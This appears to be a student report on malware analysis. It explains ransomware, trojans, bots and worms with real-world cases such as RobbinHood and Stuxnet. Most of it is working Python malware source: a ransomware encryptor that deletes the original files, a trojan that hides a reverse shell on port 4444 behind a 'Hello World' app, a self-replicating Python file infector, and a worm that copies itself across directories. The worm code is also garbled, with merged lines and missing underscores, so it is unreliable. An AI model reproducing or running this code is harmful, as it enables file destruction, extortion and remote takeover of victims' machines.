**Reverse Engineering and Malware Analysis**

**K. Mourya Achuth - 20BCE7186**

**Manikanta Meduri – 20BCE7303**

**R.Sai Kamal Teja- 20BCE7304**

**CH.Hemanth Sai- 20BCN7084**

**Malware**: Malware is a catch-all term for any type of malicious software designed to harm or exploit any programmable device, service or network

There are different types of malware. Few of them are

* Ransomware
* Trojans
* Bots
* Worms

**Ransomware**

**Ransomware** is a type of malware that encrypts a victim’s data where the attacker demands for a “ransom”, or payment, in order to restore access to files and network. Typically, the victim receives a decryption key once payment is made to restore access to their files. If the ransom payment is not made, the threat actor publishes the data on data leak sites (DLS) or blocks access to the files in perpetuity.

How it works

**Step 1: Infection**

Ransomware operators often use phishing emails and social engineering techniques to infect their victim’s computer. In most cases, the victim ends up clicking a malicious link in the email, introducing the ransomware variant on their device.

**Step 2: Encryption**

After a device or system has been infected, ransomware then searches for and encrypts valuable files. Depending on the variant, the malicious software may find opportunities to spread to other devices and systems across the organization.

**Step 3: Ransom Demand**

Once the data has been encrypted, a decryption key is required to unlock the files. In order to get the decryption key, the victim must follow the instructions left on a ransom note that outline how to pay the attacker – usually in Bitcoin.

One such attack goes like this,

The city of Baltimore was hit by a type of ransomware named RobbinHood, which halted all city activities, including tax collection, property transfers, and government email for weeks. This attack has cost the city more than $18 million so far, and costs continue to accrue. The same type of malware was used against the city of Atlanta in 2018, resulting in costs of $17 million.

Sample ransomware attack

Code for encryption

|  |  |
| --- | --- |
|  | import base64 |
|  | import os |
|  | from pathlib import Path |
|  | from Crypto.PublicKey import RSA |
|  | from Crypto.Cipher import PKCS1\_OAEP, AES |
|  |  |
|  |  |
|  | # public key with base64 encoding |
|  | pubKey = '''''' |
|  | pubKey = base64.b64decode(pubKey) |
|  |  |
|  |  |
|  | def scanRecurse(baseDir): |
|  | ''' |
|  | Scan a directory and return a list of all files |
|  | return: list of files |
|  | ''' |
|  | for entry in os.scandir(baseDir): |
|  | if entry.is\_file(): |
|  | yield entry |
|  | else: |
|  | yield from scanRecurse(entry.path) |
|  |  |
|  |  |
|  | def encrypt(dataFile, publicKey): |
|  | ''' |
|  | Input: path to file to encrypt, public key |
|  | Output: encrypted file with extension .L0v3sh3 and remove original file |
|  | use EAX mode to allow detection of unauthorized modifications |
|  | ''' |
|  | # read data from file |
|  | extension = dataFile.suffix.lower() |
|  | dataFile = str(dataFile) |
|  | with open(dataFile, 'rb') as f: |
|  | data = f.read() |
|  |  |
|  | # convert data to bytes |
|  | data = bytes(data) |
|  |  |
|  | # create public key object |
|  | key = RSA.import\_key(publicKey) |
|  | sessionKey = os.urandom(16) |
|  |  |
|  | # encrypt the session key with the public key |
|  | cipher = PKCS1\_OAEP.new(key) |
|  | encryptedSessionKey = cipher.encrypt(sessionKey) |
|  |  |
|  | # encrypt the data with the session key |
|  | cipher = AES.new(sessionKey, AES.MODE\_EAX) |
|  | ciphertext, tag = cipher.encrypt\_and\_digest(data) |
|  |  |
|  | # save the encrypted data to file |
|  | fileName= dataFile.split(extension)[0] |
|  | fileExtension = '.L0v3sh3' |
|  | encryptedFile = fileName + fileExtension |
|  | with open(encryptedFile, 'wb') as f: |
|  | [ f.write(x) for x in (encryptedSessionKey, cipher.nonce, tag, ciphertext) ] |
|  | os.remove(dataFile) |
|  |  |
|  |  |
|  | # change directory to the directory of the script |
|  | # keep secure of changing the directory, |
|  | # DONT RUN THIS SCRIPT ON YOUR PC |
|  | directory = '../' # CHANGE THIS |
|  | excludeExtension = ['.py','.pem', '.exe'] # CHANGE THIS |
|  | for item in scanRecurse(directory): |
|  | filePath = Path(item) |
|  | fileType = filePath.suffix.lower() |
|  |  |
|  | if fileType in excludeExtension: |
|  | continue |
|  | encrypt(filePath, pubKey) |

Code for decryption

This code part for decryption should be pasted at the end of the above code and run it.

|  |
| --- |
| import tkinter as tk |
|  |  |
|  | def countdown(count): |
|  | # change text in label |
|  | # count = '01:30:00' |
|  | hour, minute, second = count.split(':') |
|  | hour = int(hour) |
|  | minute = int(minute) |
|  | second = int(second) |
|  |  |
|  | label['text'] = '{}:{}:{}'.format(hour, minute, second) |
|  |  |
|  | if second > 0 or minute > 0 or hour > 0: |
|  | # call countdown again after 1000ms (1s) |
|  | if second > 0: |
|  | second -= 1 |
|  | elif minute > 0: |
|  | minute -= 1 |
|  | second = 59 |
|  | elif hour > 0: |
|  | hour -= 1 |
|  | minute = 59 |
|  | second = 59 |
|  | root.after(1000, countdown, '{}:{}:{}'.format(hour, minute, second)) |
|  |  |
|  | root = tk.Tk() |
|  | root.title('L0v3sh3 Ransomware') |
|  | root.geometry('500x300') |
|  | root.resizable(False, False) |
|  | label1 = tk.Label(root, text='Your data is under rest, please don\'t pay me,\nthis just simulation !!\n\n', font=('calibri', 12,'bold')) |
|  | label1.pack() |
|  | label = tk.Label(root,font=('calibri', 50,'bold'), fg='white', bg='blue') |
|  | label.pack() |
|  |  |
|  | # call countdown first time |
|  | countdown('01:30:00') |
|  | # root.after(0, countdown, 5) |
|  | root.mainloop() |

**Trojans**

A Trojan horse (Trojan) is a type of malware that disguises itself as legitimate code or software. Once inside the network, attackers are able to carry out any action that a legitimate user could perform, such as exporting files, modifying data, deleting files or otherwise altering the contents of the device. Trojans may be packaged in downloads for games, tools, apps or even software patches. Many Trojan attacks also leverage social engineering tactics, as well as spoofing and phishing, to prompt the desired action in the user.

How Trojans Infect devices

Some of the most common ways for devices to become infected with Trojans can be linked to user behaviour, such as:

* Downloading pirated media, including music, video games, movies, books, software or paid content
* Downloading any unsolicited material, such as attachments, photos or documents, even from familiar sources
* Accepting or allowing a pop-up notification without reading the message or understanding the content
* Failing to read the user agreement when downloading legitimate applications or software
* Failing to stay current with updates and patches for browsers, the OS, applications and software

Sample code for Trojans

|  |
| --- |
| from kivy.app import App |
|  | from kivy.uix.label import Label |
|  |  |
|  | import threading |
|  | import socket |
|  | import subprocess |
|  |  |
|  |  |
|  | def main(): |
|  | server\_ip = 'your\_local\_ip' |
|  | port = 4444 |
|  |  |
|  | backdoor = socket.socket() |
|  | backdoor.connect((server\_ip, port)) |
|  |  |
|  | while True: |
|  | command = backdoor.recv(1024) |
|  | command = command.decode() |
|  | op = subprocess.Popen(command, shell=True, stderr=subprocess.PIPE, stdout=subprocess.PIPE) |
|  | output = op.stdout.read() |
|  | output\_error = op.stderr.read() |
|  | backdoor.send(output + output\_error) |
|  |  |
|  |  |
|  | class App(App): |
|  | def build(self): |
|  | return Label(text="Hello World") |
|  |  |
|  |  |
|  |  |
|  | mal\_thread = threading.Thread(target=main) |
|  | mal\_thread.start() |
|  |  |
|  |  |
|  | app = App() |
|  | app.run() |

**Bots**

A bot is a software application that performs automated tasks on command. They’re used for legitimate purposes, such as indexing search engines, but when used for malicious purposes, they take the form of self-propagating malware that can connect back to a central server.

Usually, bots are used in large numbers to create a botnet, which is a network of bots used to launch broad remotely-controlled floods of attacks, such as DDoS attacks. Botnets can become quite expansive. For example, the Mirai IoT botnet ranged from 800,000 to 2.5M computers.

Example of this bot

Echobot is a variant of the well-known Mirai. Echobot attacks a wide range of IoT devices, exploiting over 50 different vulnerabilities, but it also includes exploits for Oracle WebLogic Server and VMWare’s SD-Wan networking software. In addition, the malware looks for unpatched legacy systems. Echobot could be used by malicious actors to launch DDoS attacks, interrupt supply chains, steal sensitive supply chain information and conduct corporate sabotage.

Sample codes of bots

# VIRUS SAYS HI!  
  
import sys  
import glob  
  
virus\_code = []  
  
with open(sys.argv[0], 'r') as f:  
lines = f.readlines()  
  
self\_replicating\_part = False  
for line in lines:  
if line == "# VIRUS SAYS HI!":  
self\_replicating\_part = True  
if not self\_replicating\_part:  
virus\_code.append(line)  
if line == "# VIRUS SAYS BYE!\n":  
break  
  
python\_files = glob.glob('\*.py') + glob.glob('\*.pyw')  
  
for file in python\_files:  
with open(file, 'r') as f:  
file\_code = f.readlines()  
  
infected = False  
  
for line in file\_code:  
if line == "# VIRUS SAYS HI!\n":  
infected = True  
break  
  
if not infected:  
final\_code = []  
final\_code.extend(virus\_code)  
final\_code.extend('\n')  
final\_code.extend(file\_code)  
  
with open(file, 'w') as f:  
f.writelines(final\_code)  
  
def malicious\_code():  
print("YOU HAVE BEEN INFECTED HAHAHA !!!")  
  
malicious\_code()  
  
# VIRUS SAYS BYE!

**Worms**

Worms target vulnerabilities in operating systems to install themselves into networks. They may gain access in several ways: through backdoors built into software, through unintentional software vulnerabilities, or through flash drives. Once in place, worms can be used by malicious actors to launch DDoS attacks, steal sensitive data, or conduct ransomware attacks.

Example of Worms attack

Stuxnet was probably developed by the US and Israeli intelligence forces with the intent of setting back Iran’s nuclear program. It was introduced into Iran’s environment through a flash drive. Because the environment was air-gapped, its creators never thought Stuxnet would escape its target’s network — but it did. Once in the wild, Stuxnet spread aggressively but did little damage, since its only function was to interfere with industrial controllers that managed the uranium enrichment process.

Sample codes of worms

import os

import shutil

class Worm:

def init (self, path=None, target\_dir\_list=None, iteration=None):if isinstance(path,

type(None)):

self.path = "/"else:

self.path = path

ifisinstance(target\_dir\_list, type(None)):self.target\_dir\_list = []

else:

self.target\_dir\_list = target\_dir\_list

ifisinstance(target\_dir\_list, type(None)):self.iteration = 2

else:

self.iteration = iteration

# get own absolute path

self.own\_path = os.path.realpath( file )

def list\_directories(self,path): self.target\_dir\_list.append(path)

files\_in\_current\_directory = os.listdir(path)

for file in files\_in\_current\_directory:

# avoid hidden files/directories (start with dot (.))if not

file.startswith('.'):

# get the full path

absolute\_path = os.path.join(path, file)print(absolute\_path)

if os.path.isdir(absolute\_path): self.list\_directories(absolute\_path)

else:

pass

def create\_new\_worm(self):

for directory in self.target\_dir\_list:

destination = os.path.join(directory,".worm.py")

# copy the script in the new directory with similar nameshutil.copyfile(self.own\_path,

destination)

def copy\_existing\_files(self):

for directory in self.target\_dir\_list: file\_list\_in\_dir =

os.listdir(directory)for file in file\_list\_in\_dir:

abs\_path = os.path.join(directory, file)

if not abs\_path.startswith('.') and not os.path.isdir(abs\_path):source = abs\_path

for i in range(self.iteration):

destination=os.path.join(directory,("."+file+str(i)))shutil.copyfile(source,

destination)

def start\_worm\_actions(self):

self.list\_directories(self.path)

print(self.target\_dir\_list)

self.create\_new\_worm()

self.copy\_existing\_files()

if name ==" main ":

current\_directory = os.path.abspath("")worm =

Worm(path=current\_directory)

worm.start\_worm\_actions()